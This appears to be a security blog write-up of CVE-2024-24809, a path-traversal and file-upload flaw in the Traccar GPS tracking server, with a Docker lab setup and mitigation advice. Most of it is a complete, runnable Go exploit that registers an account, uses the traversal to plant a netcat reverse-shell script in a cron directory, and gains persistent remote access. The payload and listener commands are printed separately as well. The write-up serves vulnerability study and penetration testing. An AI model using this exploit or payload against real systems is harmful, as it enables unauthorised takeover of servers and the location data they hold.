Overview
CVE-2024-24809 is a critical vulnerability affecting Traccar, an open-source GPS tracking system. This vulnerability combines a path traversal attack with an unrestricted file upload, allowing attackers to execute arbitrary code on affected systems. The vulnerability was discovered in Traccar versions prior to 6.0 and was patched in version 6.0.
Affected Components
The vulnerability specifically affects the file upload functionality in Traccar's web interface, primarily in the following areas:
User registration and authentication system
Device management API
File upload mechanism for device images
Attack Vector
An authenticated attacker can exploit this vulnerability through a series of API calls, manipulating the file upload process and device configuration. The attack involves several steps:
User registration and authentication
Device creation
Initial file upload
Manipulation of device configuration to enable path traversal
Secondary file upload to exploit the path traversal
Proof of Concept Lab
Unfortunately, there's a docker image that we can use to host the vulnerable instance of Traccar GPS in our local environment. All we need to do is pull and run that image:
docker run \
--name traccar \
--hostname traccar \
--restart unless-stopped \
--publish 80:8082 \
--publish 5000-5150:5000-5150 \
--publish 5000-5150:5000-5150/udp \
--volume /opt/traccar/logs:/opt/traccar/logs:rw \
--volume /opt/traccar/traccar.xml:/opt/traccar/conf/traccar.xml:ro \
traccar/traccar:5.12
This will simply start the Traccar instance on localhost port 80.
Exploitation Process
Here's a detailed breakdown of the exploitation process:
1. User Registration and Authentication:
The attacker registers a new user account using randomly generated credentials.
The attacker logs in to obtain a valid session.
2. Device Creation:
A new device is added to the system using the `/api/devices` endpoint.
This step is necessary to obtain a valid device ID for subsequent operations.
3. Initial File Upload:
The attacker uploads a file (in this case, a shell script) using the `/api/devices/{device_id}/image` endpoint.
The Content-Type header is set to `image/{file_suffix}` to bypass initial file type checks.
4. Path Traversal Setup:
The attacker modifies the device configuration using the `/api/devices/{device_id}` endpoint.
The crucial part of this step is changing the `uniqueId` parameter to include path traversal sequences: "uniqueId": f"{device_name}/../../../../..{upload_path}". This manipulation allows the attacker to control the final upload location.
5. Malicious File Upload:
The attacker performs a second file upload using the same endpoint as in step 3.
Due to the path traversal in the device configuration, this file is now placed in the attacker-specified location.
6. Code Execution:
In this exploit, the uploaded file is a shell script that creates a reverse shell connection.
The script is placed in `/etc/periodic/1minute`, to be executed by the system's cron job, leading to persistent remote access.
Exploit Script
Here's the script that covers the exploitation process on our hosted target:
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"strings"
"time"
)
// Create a client with cookie support
var client *http.Client
func init() {
// Initialize cookie jar
jar, err := cookiejar.New(nil)
if err != nil {
panic(err)
}
client = &http.Client{
Jar: jar,
Timeout: time.Second * 10,
}
}
func generateRandomString(length int) string {
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
b := make([]byte, length)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
type RegisterData struct {
Name string `json:"name"`
Email string `json:"email"`
Password string `json:"password"`
TotpKey interface{} `json:"totpKey"`
}
func register(target, username string) (*http.Response, error) {
data := RegisterData{
Name: username,
Email: fmt.Sprintf("%s@admin.com", username),
Password: "123456",
TotpKey: nil,
}
jsonData, err := json.Marshal(data)
if err != nil {
return nil, err
}
req, err := http.NewRequest("POST", target+"/api/users", bytes.NewBuffer(jsonData))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
return nil, err
}
return resp, nil
}
func login(target, username string) (*http.Response, error) {
data := url.Values{}
data.Set("email", username+"@admin.com")
data.Set("password", "123456")
req, err := http.NewRequest("POST", target+"/api/session", strings.NewReader(data.Encode()))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8")
resp, err := client.Do(req)
if err != nil {
return nil, err
}
return resp, nil
}
type DeviceData struct {
Name string `json:"name"`
UniqueId string `json:"uniqueId"`
}
func addDevice(target, deviceName string) (*http.Response, error) {
data := DeviceData{
Name: deviceName,
UniqueId: deviceName,
}
jsonData, err := json.Marshal(data)
if err != nil {
return nil, fmt.Errorf("marshal error: %v", err)
}
req, err := http.NewRequest("POST", target+"/api/devices", bytes.NewBuffer(jsonData))
if err != nil {
return nil, fmt.Errorf("request creation error: %v", err)
}
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
return nil, fmt.Errorf("request error: %v", err)
}
return resp, nil
}
func uploadFile(target string, deviceID int, fileSuffix string, data string) (*http.Response, error) {
req, err := http.NewRequest("POST",
fmt.Sprintf("%s/api/devices/%d/image", target, deviceID),
strings.NewReader(data))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", fmt.Sprintf("image/%s", fileSuffix))
return client.Do(req)
}
type DeviceUpdateData struct {
ID int `json:"id"`
Attributes Attributes `json:"attributes"`
GroupID int `json:"groupId"`
CalendarID int `json:"calendarId"`
Name string `json:"name"`
UniqueId string `json:"uniqueId"`
Status string `json:"status"`
LastUpdate interface{} `json:"lastUpdate"`
PositionID int `json:"positionId"`
Phone interface{} `json:"phone"`
Model interface{} `json:"model"`
Contact interface{} `json:"contact"`
Category interface{} `json:"category"`
Disabled bool `json:"disabled"`
ExpirationTime interface{} `json:"expirationTime"`
}
type Attributes struct {
DeviceImage string `json:"deviceImage"`
}
func changeUploadPath(target string, deviceID int, deviceName, uploadPath string) (*http.Response, error) {
data := DeviceUpdateData{
ID: deviceID,
Attributes: Attributes{
DeviceImage: "device.png",
},
GroupID: 0,
CalendarID: 0,
Name: "test",
UniqueId: fmt.Sprintf("%s/../../../../..%s", deviceName, uploadPath),
Status: "offline",
}
jsonData, err := json.Marshal(data)
if err != nil {
return nil, err
}
req, err := http.NewRequest("PUT",
fmt.Sprintf("%s/api/devices/%d", target, deviceID),
bytes.NewBuffer(jsonData))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/json")
return client.Do(req)
}
func main() {
if len(os.Args) != 4 {
fmt.Printf("Usage: %s http://localhost:80 LISTENER_IP LISTENER_PORT\n", os.Args[0])
os.Exit(0)
}
rand.Seed(time.Now().UnixNano())
target := os.Args[1]
username := generateRandomString(8)
// Register user
resp, err := register(target, username)
if err != nil {
fmt.Println("Register Error:", err)
os.Exit(1)
}
body, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), username) {
fmt.Printf("Register Error!! Response: %s\n", string(body))
os.Exit(1)
}
fmt.Printf("Register: %s@admin.com Password: 123456\n", username)
// Login
resp, err = login(target, username)
if err != nil {
fmt.Println("Login Error:", err)
os.Exit(1)
}
body, _ = io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), username) {
fmt.Printf("Login Error!! Response: %s\n", string(body))
os.Exit(1)
}
fmt.Println("Login Success!!")
deviceName := generateRandomString(8)
// Add Device
resp, err = addDevice(target, deviceName)
if err != nil {
fmt.Println("Add Device Error:", err)
os.Exit(1)
}
body, _ = io.ReadAll(resp.Body)
resp.Body.Close()
// Debug output
fmt.Printf("Add Device Response: %s\n", string(body))
var deviceResp map[string]interface{}
if err := json.Unmarshal(body, &deviceResp); err != nil {
fmt.Printf("Add Device Error!! JSON parse error: %v\n", err)
os.Exit(1)
}
deviceID, ok := deviceResp["id"].(float64)
if !ok {
fmt.Printf("Add Device Error!! Could not get device ID from response: %v\n", deviceResp)
os.Exit(1)
}
fmt.Printf("Add Device Success!! [%s] with ID: %.0f\n", deviceName, deviceID)
// Upload File
suffix := "sh"
shellData := fmt.Sprintf("#!/bin/sh \n exec nc %s %s -e /bin/sh\n", os.Args[2], os.Args[3])
resp, err = uploadFile(target, int(deviceID), suffix, shellData)
if err != nil {
fmt.Println("Upload Error:", err)
os.Exit(1)
}
body, _ = io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), "device."+suffix) {
fmt.Printf("Upload Error!! Response: %s\n", string(body))
os.Exit(1)
}
fmt.Println("First Upload Success!!")
// Change Upload Path
uploadPath := "/etc/periodic/1minute"
resp, err = changeUploadPath(target, int(deviceID), deviceName, uploadPath)
if err != nil {
fmt.Println("Change Upload Path Error:", err)
os.Exit(1)
}
body, _ = io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), uploadPath) {
fmt.Printf("Change Upload Path Error!! Response: %s\n", string(body))
os.Exit(1)
}
fmt.Println("Change Upload Path Success!!")
// Upload File Again
resp, err = uploadFile(target, int(deviceID), suffix, shellData)
if err != nil {
fmt.Println("Upload Error:", err)
os.Exit(1)
}
body, _ = io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), "device."+suffix) {
fmt.Printf("Upload Error!! Response: %s\n", string(body))
os.Exit(1)
}
fmt.Println("Uploaded reverse shell payload as a cron job successfully!")
fmt.Println("Check listener for reverse shell connection")
}
This exploit requires a netcat listener to be set up on the target machine to catch the reverse shell:
nc -lvnp 4444
Once it is set up, we can execute the above script to exploit the vulnerable Traccar instance.
go run exploit.go http://localhost:80 LISTENER_IP LISTENER_PORT
In case of a successful exploit, we should receive the reverse shell on our listener:
Technical Analysis of the Exploit
The exploit leverages several Traccar API endpoints:
‘/api/users’: User registration
‘/api/session’: User authentication
‘/api/devices’: Device management (creation and modification)
‘/api/devices/{device_id}/image’: File upload functionality
The core of the vulnerability lies in how Traccar handles file uploads and device configurations:
Lack of Path Sanitization: The application fails to properly sanitize the `uniqueId` field in device configurations, allowing for directory traversal.
Insufficient File Type Validation: The initial upload accepts files with arbitrary extensions, only checking the Content-Type header.
Improper File Path Construction: The final upload location is influenced by user-controlled data (the `uniqueId` field), leading to arbitrary file placement.
The exploit creates a simple reverse shell payload:
#!/bin/sh
exec nc {LISTENER_IP} {LISTENER_PORT} -e /bin/sh
This payload, when executed, establishes a network connection to the attacker's machine and provides shell access to the compromised system.
Impact
The successful exploitation of CVE-2024-24809 can lead to:
Remote Code Execution (RCE)
Persistent backdoor access to the Traccar server
Complete compromise of the GPS tracking system
Potential lateral movement within the connected network
Mitigation and Best Practices
To prevent similar vulnerabilities:
Implement strict input validation for all user-supplied data, especially in device configurations.
Use a whitelist approach for allowed upload destinations.
Employ robust file type checking that goes beyond Content-Type headers.
Implement proper access controls and privilege separation.
Regularly update and patch the Traccar installation.
Conclusion
CVE-2024-24809 demonstrates the complex interplay between seemingly separate application functions (device configuration and file upload) that can lead to critical vulnerabilities. It underscores the importance of holistic security reviews that consider how different parts of an application might interact in unexpected ways.
For security researchers and penetration testers, this vulnerability serves as an excellent case study in chaining multiple application behaviors to achieve remote code execution. It highlights the need for thorough testing of file upload functionalities, especially in conjunction with other configurable application parameters.